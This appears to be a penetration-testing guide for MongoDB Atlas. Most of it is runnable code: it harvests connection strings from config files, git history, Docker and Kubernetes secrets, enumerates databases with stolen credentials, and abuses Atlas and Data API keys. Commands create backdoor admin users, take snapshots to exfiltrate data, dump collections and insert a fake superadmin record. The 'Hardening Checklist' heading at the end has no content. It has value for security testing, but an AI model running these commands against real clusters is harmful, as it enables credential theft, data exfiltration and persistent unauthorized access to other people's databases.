MongoDB Atlas Security Testing: Connection String Exposure, API Key, and Network Access

Connection String Discovery and Credential Extraction

MongoDB Atlas connection strings follow the format mongodb+srv://username:password@cluster.mongodb.net/database. These strings contain cleartext credentials and are the single most common high-severity finding in cloud security assessments — appearing in git history, environment files, Docker images, and application logs.

# MongoDB Atlas connection string discovery
# Search common locations for Atlas connection strings
grep -rE 'mongodb\+srv://[^@]+@[a-z0-9.-]+\.mongodb\.net' \
  ~/.env .env* *.yml *.yaml *.json config/ app/ src/ 2>/dev/null

# Search git history across all commits (including deleted files)
git log --all -p | grep -E 'mongodb\+srv://' | head -20

# Search Docker image layers for connection strings
docker inspect $(docker ps -q) 2>/dev/null | grep -i "mongodb\|mongo_uri\|database_url" | head -20

# Search Kubernetes secrets and configmaps
kubectl get secrets -A -o json 2>/dev/null | python3 -c "
import json,sys,base64
d=json.load(sys.stdin)
for item in d.get('items',[]):
    for k,v in item.get('data',{}).items():
        try:
            decoded=base64.b64decode(v).decode()
            if 'mongodb' in decoded.lower():
                print(f'K8s secret {item[\"metadata\"][\"name\"]}/{k}: {decoded[:100]}')
        except: pass
"

# Validate found connection string
MONGO_URI="mongodb+srv://username:password@cluster.mongodb.net/database"
python3 << 'EOF'
from pymongo import MongoClient
import sys

MONGO_URI = "mongodb+srv://username:password@cluster.mongodb.net/"
try:
    client = MongoClient(MONGO_URI, serverSelectionTimeoutMS=5000)
    client.admin.command('ping')
    print("CONNECTION SUCCESSFUL")
    
    # Enumerate databases
    dbs = client.list_database_names()
    print(f"Databases ({len(dbs)}): {dbs}")
    
    # Enumerate collections and document counts
    for db_name in dbs:
        if db_name not in ['admin', 'local', 'config']:
            db = client[db_name]
            for coll in db.list_collection_names():
                count = db[coll].estimated_document_count()
                print(f"  {db_name}.{coll}: {count:,} documents")
                # Sample first document
                sample = db[coll].find_one()
                if sample:
                    keys = list(sample.keys())
                    print(f"    Fields: {keys[:10]}")
except Exception as e:
    print(f"Connection failed: {e}")
EOF

Atlas API Key Exploitation and Cluster Management

Atlas programmatic API keys (public_key:private_key pairs) grant administrative control over Atlas organizations and projects via the Atlas Administration API. These keys enable creating database users, modifying network access, taking snapshots, and reading all cluster configuration.

# Atlas Administration API — key validation and cluster enumeration
ATLAS_API="https://cloud.mongodb.com/api/atlas/v1.0"
PUBLIC_KEY="your_public_key"
PRIVATE_KEY="your_private_key"

# Atlas uses Digest authentication
python3 << 'EOF'
import requests
from requests.auth import HTTPDigestAuth

ATLAS_API = "https://cloud.mongodb.com/api/atlas/v1.0"
PUBLIC_KEY = "your_public_key"
PRIVATE_KEY = "your_private_key"
auth = HTTPDigestAuth(PUBLIC_KEY, PRIVATE_KEY)

# Get organization info
resp = requests.get(f"{ATLAS_API}/orgs", auth=auth)
orgs = resp.json()
print(f"Organizations: {orgs.get('totalCount')}")
for org in orgs.get('results', []):
    print(f"  Org: {org['name']} (id: {org['id']})")
    
    # Get projects in org
    proj_resp = requests.get(f"{ATLAS_API}/orgs/{org['id']}/groups", auth=auth)
    for proj in proj_resp.json().get('results', []):
        print(f"    Project: {proj['name']}")
        
        # Get clusters in project
        cluster_resp = requests.get(f"{ATLAS_API}/groups/{proj['id']}/clusters", auth=auth)
        for cluster in cluster_resp.json().get('results', []):
            print(f"      Cluster: {cluster['name']} (state: {cluster['stateName']})")
            print(f"        MongoDB version: {cluster.get('mongoDBVersion')}")
            print(f"        Region: {cluster.get('providerSettings',{}).get('regionName')}")
            
            # Get database users
            users_resp = requests.get(f"{ATLAS_API}/groups/{proj['id']}/databaseUsers", auth=auth)
            for user in users_resp.json().get('results', []):
                roles = [r.get('roleName') for r in user.get('roles', [])]
                print(f"        DB User: {user['username']} roles={roles}")
EOF

# Create a new database user via Atlas API (demonstrates full control)
# curl -u "pub_key:priv_key" --digest -X POST "${ATLAS_API}/groups/{projectId}/databaseUsers" \
#   -H "Content-Type: application/json" \
#   -d '{"username":"backdoor","password":"B@ckd00r2026!","databaseName":"admin","roles":[{"roleName":"atlasAdmin","databaseName":"admin"}]}'

# Initiate on-demand snapshot (can exfiltrate all data)
# curl -u "pub_key:priv_key" --digest -X POST "${ATLAS_API}/groups/{projectId}/clusters/{clusterName}/backup/snapshots" \
#   -d '{"description":"security-test","retentionInDays":1}'

Network Access Assessment and 0.0.0.0/0 Detection

MongoDB Atlas requires IP allowlisting for all client connections. The placeholder 0.0.0.0/0 (allow all IPs) is set during development for convenience and left in production. This makes the cluster accessible from any internet IP — the only protection is the database username/password.

# MongoDB Atlas network access assessment
ATLAS_API="https://cloud.mongodb.com/api/atlas/v1.0"
PROJECT_ID="your_project_id"

# Check IP access list for 0.0.0.0/0
python3 << 'EOF'
import requests
from requests.auth import HTTPDigestAuth

auth = HTTPDigestAuth("public_key", "private_key")
ATLAS_API = "https://cloud.mongodb.com/api/atlas/v1.0"
PROJECT_ID = "your_project_id"

resp = requests.get(f"{ATLAS_API}/groups/{PROJECT_ID}/accessList", auth=auth)
entries = resp.json().get('results', [])
print(f"Network access entries: {len(entries)}")
for entry in entries:
    ip = entry.get('cidrBlock', entry.get('ipAddress', ''))
    comment = entry.get('comment', '')
    created = entry.get('created', '')[:10]
    print(f"  {ip} ({comment}) — added: {created}")
    if ip in ['0.0.0.0/0', '::/0']:
        print(f"  CRITICAL: Allow-all network access configured!")
EOF

# Test direct connection from current IP (if 0.0.0.0/0)
python3 << 'EOF'
from pymongo import MongoClient

# Try direct connection to Atlas cluster (bypasses app layer)
CLUSTER = "cluster-name.abc12.mongodb.net"
USERNAME = "app_username"
PASSWORD = "found_password"

uri = f"mongodb+srv://{USERNAME}:{PASSWORD}@{CLUSTER}/?authSource=admin"
try:
    client = MongoClient(uri, serverSelectionTimeoutMS=5000)
    info = client.server_info()
    print(f"Direct cluster connection SUCCESS")
    print(f"Version: {info.get('version')}")
    
    # Check current user privileges
    priv = client.admin.command("connectionStatus")
    auth_users = priv.get('authInfo', {}).get('authenticatedUsers', [])
    auth_roles = priv.get('authInfo', {}).get('authenticatedUserRoles', [])
    print(f"Authenticated as: {auth_users}")
    print(f"Roles: {auth_roles}")
except Exception as e:
    print(f"Connection blocked: {e}")
EOF

# nmap scan Atlas cluster address (confirm port accessibility)
CLUSTER_HOST="cluster-name.abc12.mongodb.net"
nmap -sV -p 27017 ${CLUSTER_HOST} 2>/dev/null | grep -E "27017|open|closed|filtered"

Atlas Data API and HTTP MongoDB Access

The Atlas Data API (now Atlas App Services Data API) provides HTTP-based access to MongoDB data using API keys. When enabled, it bypasses the network IP allowlist for HTTPS requests — allowing any internet host to query data if an API key is obtained.

# Atlas Data API — HTTP-based MongoDB access
# Data API endpoint format: https://data.mongodb-api.com/app/{app-id}/endpoint/data/v1
DATA_API="https://data.mongodb-api.com/app/your-app-id/endpoint/data/v1"
API_KEY="your_data_api_key"

# Find App ID and API keys (search common locations)
grep -rE 'mongodb-api\.com|MONGODB_DATA_API|ATLAS_APP_ID' .env* *.yml *.json 2>/dev/null

# List all documents in a collection via HTTP
curl -s -X POST "${DATA_API}/action/find" \
  -H "Content-Type: application/json" \
  -H "api-key: ${API_KEY}" \
  -d '{
    "dataSource": "Cluster0",
    "database": "production",
    "collection": "users",
    "limit": 10
  }' | python3 -c "
import json,sys
d=json.load(sys.stdin)
docs=d.get('documents',[])
print(f'Documents: {len(docs)}')
for doc in docs:
    print(f'  {str(doc)[:200]}')
"

# Aggregate all documents (full collection dump via HTTP)
curl -s -X POST "${DATA_API}/action/aggregate" \
  -H "Content-Type: application/json" \
  -H "api-key: ${API_KEY}" \
  -d '{
    "dataSource": "Cluster0",
    "database": "production",
    "collection": "users",
    "pipeline": [{"$count": "total"}]
  }'

# Insert malicious document (if write access)
curl -s -X POST "${DATA_API}/action/insertOne" \
  -H "Content-Type: application/json" \
  -H "api-key: ${API_KEY}" \
  -d '{
    "dataSource": "Cluster0",
    "database": "production",
    "collection": "users",
    "document": {"username": "admin_backdoor", "role": "superadmin", "created_by": "security_test"}
  }'

Hardening Checklist